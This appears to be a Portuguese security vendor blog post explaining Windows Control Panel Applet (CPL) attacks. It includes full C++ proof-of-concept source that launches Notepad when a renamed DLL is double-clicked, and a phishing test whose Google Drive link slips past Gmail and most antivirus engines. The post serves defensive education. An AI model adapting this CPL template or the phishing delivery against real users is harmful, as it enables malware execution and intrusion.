Blog Agility

Ataques Avançados contra CPL (Control Panel Applets)

Ataques Avançados contra CPL (Control Panel Applets)

Artigo explicativo que informa sobre ataques com CPL (Control Panel Applets) Attacks.

 

1.1 O que são e como funcionam CPL (Control Panel Applet):

No sistema operacional Windows a extensão de arquivo CPL é atribuída aos Control Panel Applets, que são miniaplicativos utilizados pelo Painel de Controle introduzidos no Windows 3.x, mas ainda utilizados em versões atuais como o Windows 10.

O Painel de Controle carrega estes miniaplicativos e exibe ícones para que estes sejam acessados facilmente.

Exemplos de Painéis de Controle de várias versões de Windows:

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura01
Figura 1: Painel de Controle do Microsoft Windows XP e respectivos arquivos CPL (Control Panel Applet)

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura02
Figura 2: Painel de Controle do Microsoft Windows 7 e respectivos arquivos CPL (Control Panel Applet)

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura03
Figura 3: Painel de Controle do Microsoft Windows 8 e 8.1 e respectivos arquivos CPL (Control Panel Applet)

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura04
Figura 4: Painel de Controle do Microsoft Windows 10 e respectivos arquivos CPL (Control Panel Applet)

 

Estrutura

Um arquivo CPL é uma DLL (biblioteca de vínculo dinâmico) ou um EXE e por isso herda toda a estrutura já definida para o formato PE (Portable Executable). A diferença mais notável é que os arquivos CPL normalmente possuem somente uma função exportada chamada CPlApplet(), enquanto as DLL (biblioteca de vínculo dinâmico) em geral possuem várias funções exportadas (disponíveis para serem chamadas a partir de outro programa).

Execução

Quando a janela do Painel de Controle é aberta, todos os arquivos CPL na pasta de sistema do Windows são lidos e seus applets são carregados e exibidos na janela do Painel de Controle. Cada arquivo CPL pode conter um ou mais applets. É possível verificar isso com os métodos de execução abaixo:

Usando o control.exe

O programa control.exe(que carrega o Painel de Controle) utiliza a seguinte sintaxe para carregar applets CPL:

control.exe arquivo.cpl,@n,t

Onde n é o índice do applet dentro do arquivo, começando em 0 (zero) e t é o índice da aba deste applet, para applets com mais de uma aba, também começando em 0 (zero). Por exemplo, para carregar o primeiro applet do arquivomain.cpl posicionado na primeira aba, pode-se comandar:

C:\> control main.cpl,@0,0

Para ver a segunda aba deste mesmo applet, basta:

C:\> control desk.cpl,@0,1

Já para ver o segundo applet:

C:\> control main.cpl,@1,0

Caso o índice de applet ou aba seja inválido ou omitido, o Windows busca o applet padrão do arquivo e o exibe sem emitir erros.

Utilizando a função Control_RunDLL

Há ainda a possibilidade de se executar um arquivo CPL utilizando diretamente uma função da shell32.dll chamada Control_RunDLL. Este é o método que o Windows utiliza internamente e também é o que ocorre quando é dado um duplo-clique num arquivo CPL. Exemplo:

C:\> rundll32 shell32.dll,Control_RunDLL timedate.cpl,@0,0

O comando acima abre as propriedades de data e hora do Windows diretamente. Por ter essa característica, arquivos CPL podem ser executados diretamente no sistema operacional, bastando para isso um duplo-clique neles. Sendo assim, o efeito é similar aos arquivos EXE e à essa característica se deve a fama de que arquivos CPL são “DLLs que executam com dois cliques”.

Utlizando o objeto Shell.Application

Um script em VBScript ou jscript pode carregar um CPL por meio do método ControlPanelItem() de um objeto Shell.Application. O código abaixo carrega o applet de configuração de joysticks:

VBScript

Dim obj

Set obj = CreateObject(“Shell.Application”)

obj.ControlPanelItem(“joy.cpl”)

Algumas relações de Applets nativos do Sistema Operacional Windows:

Windows 3.x

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura04a

Windows XP

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura04b

Exemplos de ID Mitre CVE da Vulnerabilidade:

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0096

1.2 O que são e como funcionam CPL(Control Panel Applet) Attacks:

Por ser um formato flexível e que pode ser executado com um duplo-clique, criadores de ameaças (atacantes) também criam malwares utilizando o formato CPL. O que são arquivos CPL – https://support.microsoft.com/pt-br/kb/192806

É comum no Brasil usuários receberem e-mails falsos com links para downloads de arquivos comprimidos (compactado em formato .RAR ou .ZIP) com um mais arquivos CPL dentro. Em geral, este tipo de arquivo não é transferido via rede com frequência pois seu maior uso está no Windows em si. Portanto muito cuidado é necessário antes de dar um duplo clique em arquivos CPL recebidos por e-mail ou que tenham sido baixados na internet.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura05
Figura 5: Email criado no SIS Labs para validar o testes de vulnerabilidades e exploração

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura06
Figura 6: Email criado no SIS Labs para com texto e link para Google Drive (com arquivo .CPL) para realização dos testes de vulnerabilidades e exploração.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura07
Figura 7: O email para testes. Não é considerado spam pelo Gmail.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura08
Figura 8: O email com link para Google Drive contendo o arquivo CPL (Control Panel Applet) não é bloqueado pelo Gmail.

Na figura 6 pode ser visto um exemplo de e-mail falso (phishing) com um link para um malware em CPL, na época catalogado como TROJ_BANLOAD ou TROJ_CHEPRO. Por ser um tipo de arquivo pouco conhecido, mesmo por analistas de segurança, vários softwares de proxy e outras soluções de segurança não tratam o download de um arquivo CPL com a devida atenção, imaginando ser um componente legítimo e sem nenhuma ameaça ao sistema operacional Windows.

O bloqueio de download de arquivos deste tipo não deve ser tão rígido. No entanto, porque alguns fabricantes de hardware distribuem arquivos CPL juntamente com os programas e drivers de dispositivo, deve existir alguma solução em APT (Advanced Persistent Threat) que mitigue este tipo de ataque.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura09
Figura 9: Praticamente nenhum antivírus tradicional irá detectar o arquivo CPL (Control Panel Applet) como ameaçador, pois é um componente inofensivo do Windows a princípio.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura10
Figura 10: O download do CPL (Control Panel Applet) é feito normalmente pelo browser

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura11
Figura 11: O usuário clica 2 vezes no arquivo CPL (Control Panel Applet) e o notepad é executado sem restrições, o que prova que poderia ser executado um arquivo malicioso qualquer e ganhado acesso administrativo ao Windows.

 

Virus total do Sampler

https://www.virustotal.com/pt/file/eb4a382b2497fd813e27cf8b059f204e1a9302c4f2244beb35310be0c5b55dd4/analysis/1441825645

 

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura12
Figura 12: 1 de 56 fabricantes de AntiVirus, detectou como um sampler suspeito, mesmo sendo um teste


1.3 Processo Funcional de Ataques por arquivos .CPL:

Por ser um formato flexível e que pode ser executado com um duplo-clique, criadores de ameaças (atacantes) também criam malware.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura13
Figura 13: Processo de Ataques por arquivos .CPL (Control Panel Applet)

 

Sequência do Ataque:

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura13a

Para demonstração desde tipo de ataque, foi criado nos Labs do SIS, da Agility Networks, um sampler como PoC (Proof of Concept) em ambiente seguro e controlado.  Um sampler neste caso específico, é nada mais que um projeto feito em Visual Studio Community 2015, usando a linguagem C++, compilado em formato de arquivo .DLL e renomeado para .CPL, justamente para criação de um arquivo do sistema operacional Windows, comumente usado no Painel de Controle.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura14
Figura 14: Projeto para geração de um sampler controlado em Laboratório (SIS Labs), provando a possibilidade de criação de arquivos no formato CPL (Painel de Controle do Windows).

 

Dentro de arquivo .CPL, criamos código-fonte para executar o Notepad, quando o usuário clicar 2 vezes no mesmo arquivo, provando que é executável e que a mesma técnica poderia ser usada num ataque mais sofisticado, que seria o CPL Attack.

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura15
Figura 15: Fragmento do projeto do sampler, onde contém a função para execução.
 

Abaixo segue fragmento de código-fonte (na linguagem C++) criado em Microsoft Visual Studio Community 2015 (https://www.visualstudio.com/pt-br/downloads/download-visual-studio-vs.aspx), com a referência em vermelho, que é onde está o código-fonte que poderia executar comandos e aplicações do sistema operacional Windows.

ControlPanelApplet.cpp

// 31/08/2015 09:00 Brazil

// Mauro Risonho de Paula Assumpcao aka firebits

// Sampler for Palo Alto Traps – PoC

// Sampler CPL Attacks (Malwares)

// ControlPanelApplet.cpp : Defines the exported functions for the DLL application.

// output ControlPanelApplet.dll

// rename ControlPanelApplet.cpl (Control Panel Applet) for Control Panel Windows = Start (Button) -> Control Panel Windows

// issues send email for mauro.assumpcao@agilitynetworks.com.br or mauro.risonho@gmail.com

// created Windows 7 64bits and Microsoft Visual Studio Community 2015

// licensed BSD2

 

#include “stdafx.h”

#include <windows.h>

#include <stdio.h>

#include “ControlPanelApplet.h”

 

namespace ControlPanelApplet

{

CControlPanelApplet* CControlPanelApplet::m_pThis = NULL;

 

CControlPanelApplet::CControlPanelApplet()

{

m_pThis = this;

}

 

// Callback members

LONG APIENTRY CControlPanelApplet::CPlApplet(HWND hWnd, UINT uMsg, LONG lParam1, LONG lParam2)

{

CControlPanelApplet* pApplet = m_pThis;

 

switch (uMsg)

{

case CPL_DBLCLK:

return pApplet->OnDblclk(hWnd, lParam1, lParam2);

 

case CPL_EXIT:

return 0;

 

case CPL_GETCOUNT:

return 1;

 

case CPL_INIT:

return 1;

 

case CPL_INQUIRE:

return pApplet->OnInquire(lParam1, (CPLINFO*)lParam2);

 

case CPL_NEWINQUIRE:

return pApplet->OnNewInquire(lParam1, (NEWCPLINFO*)lParam2);

 

case CPL_STOP:

return 1;

 

case CPL_STARTWPARMS:

return pApplet->OnDblclk(hWnd, lParam1, lParam2);

 

default:

break;

}

return 1;

}

 

// Default command handlers

LONG CControlPanelApplet::OnInquire(UINT uAppNum, CPLINFO* pInfo)

{

pInfo->idIcon = IDI_ICON1;

pInfo->lData = 0;

pInfo->idName = m_nNameID;

pInfo->idInfo = m_nDescID;

 

return 0;

}

 

LONG CControlPanelApplet::OnNewInquire(UINT uAppNum, NEWCPLINFO* pInfo)

{

pInfo->dwSize = (DWORD)sizeof(NEWCPLINFO);

pInfo->dwFlags = 0;

pInfo->dwHelpContext = 0;

pInfo->lData = 0;

pInfo->szHelpFile[ 0 ] = ‘\0’;

 

LoadString( NULL, m_nNameID, pInfo->szName, 32 );

LoadString( NULL, m_nDescID, pInfo->szInfo, 64 );

 

return 1;

}

 

LONG CControlPanelApplet::OnDblclk(HWND hWnd, UINT uAppNum,LONG lData)

{

STARTUPINFO si;

PROCESS_INFORMATION pi;

 

ZeroMemory( &si, sizeof(si) );

si.cb = sizeof(si);

ZeroMemory( &pi, sizeof(pi) );

 

// Start the child process p1.exe. Make sure p1.exe is in the

// same folder as current application. Otherwise write the full path in first argument.

//if (!CreateProcess(L”C:\\WINDOWS\\NOTEPAD.exe”, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))

// execute CMD.EXE double clicking file .CPL (Control Panel Applet)

//http://www.sevenforums.com/general-discussion/128056-starting-folder-cmd-exe.html

//Running the CMD from the start menu shows you the local user at the prompt who ran the command. However, if you look at the Title Bar of a CMD prompt ran by a local user, it will read C:\Windows\System32\cmd.exe, showing that the program is still being run from C:\Windows\System32.

if (!CreateProcess(L”C:\\WINDOWS\\NOTEPAD.exe”, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))

{

return 1;

}

 

// Wait until child processes exit.

WaitForSingleObject( pi.hProcess, INFINITE );

 

// Close process and thread handles.

CloseHandle( pi.hProcess );

CloseHandle( pi.hThread );

return 0;

}

}

 

A função CreateProcess cria um novo processo, que é executado independentemente do processo de criação. No entanto, para manter a simplicidade, a relação é referida como uma relação pai-filho (parent-child relationship), conforme https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx

Após a compilação com sucesso, vamos até a pasta onde está o arquivo em formato .DLL, o qual iremos renomear para .CPL, que será reconhecido pelo Sistema Operacional Windows, como parte integrante do Painel de Controle do Windows.

Vamos executar o arquivo .CPL, clicando 2 vezes com o botão esquerdo do mouse. Automaticamente será executado o Notepad.exe, o que não é esperado pelo usuário. Tudo indica, no caso que se fosse algum artefato malicioso, seria executado e não detectado por Antivírus tradicionais.

Isso se deve pelo atacante já conhecer o sistema operacional e executar comandos/aplicações nativas. Mas atacantes mais experientes poderiam efetuar ataques mais avançados, que vão até o kernel do Windows.

1.4  Testes após execução e compilação

Será necessário baixar o pacote System Internals (https://technet.microsoft.com/en-us/sysinternals/bb842062.aspx) , para usarmos um aplicativo chamado Process Explorer e acompanhar os processos e chamadas do Windows,  e outras partes do Sistema Operacional, para execução do sampler:

2015_Agosto_Mauro_Risonho_de_Paula_Assumpcao_APT_Advanced_Persistent_Threat_CPL_Attacks-rev01_Figura16
Figura 16: O sampler em execução, através do Painel de Controle do Windows (Control.exe).

Repare que ao usuário clicar no arquivo .CPL, o Windows, automaticamente abre o executável Control.exe, faz chamada para rundll32.exe e depois executa Notepad.exe. Após a execução do notepad.exe, o Control.exe é executado por alguns segundos e o Control.exe é “matado ou killed”, sem matar os processos filhos, como por exemplo, rundll32.exe e o próprio notepad.exe, neste cenário com processxp.exe, do System Internals.

Uma ação não esperada para usuário, pois ele queria abrir arquivo de foto, conforme o Phishing que direcionaram para ele.

¹ BufferOverFlow = uma anomalia onde um programa, ao escrever dados em um buffer, ultrapassa os limites do buffer e sobrescreve a memória adjacente. Esse é um caso especial de violação de segurança de memória.

BufferOverFlow podem ser disparados por entradas que são projetadas para executar código, ou alterar o modo como o programa funciona. Isso pode resultar em comportamento errados do programa, incluindo erros de acesso à memória, resultados incorretos, parada total do sistema, ou uma brecha num sistema de segurança, para ganhar acesso irrestrito em alguns cenários. Portanto, eles são a base de muitas vulnerabilidades de softwares e podem ser explorados maliciosamente, remotamente ou localmente, conforme o caso.

Conforme já visto com um simples email com um arquivo .ZIP anexado, contendo um arquivo .CPL, pode simplesmente “passar” por várias camadas de segurança de rede e de aplicação, pois muitos software e hardwares de segurança, interpretam como arquivo seguro e sem ameaças. A melhor forma de se prevenir contra esta vulnerabilidade é ter equipamentos que tenham funções de proteção por hardware e por software disponibilizado por cada fabricante, contra APT (Advanced Persistent Threat).

Esse tipo de Ataque, que é o CPL Attack, pode comprometer grandes empresas, instituições financeiras e outros segmentos, caso não possuam nenhuma solução contra APT(Advanced Persistent Threat).

Agradecimentos:

Paulo Elias Junior –  https://br.linkedin.com/in/pauloeliasjr Agility Networks, IT Project Analyst – PROJETOS

Referências:

https://technet.microsoft.com/en-us/sysinternals/bb842062.aspx

https://support.microsoft.com/pt-br/kb/192806

http://researchcenter.paloaltonetworks.com/2015/03/palo-alto-networks-traps-prevents-exploitation-of-cve-2010-2568cve-2015-0096-stuxnet-zero-day

http://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0096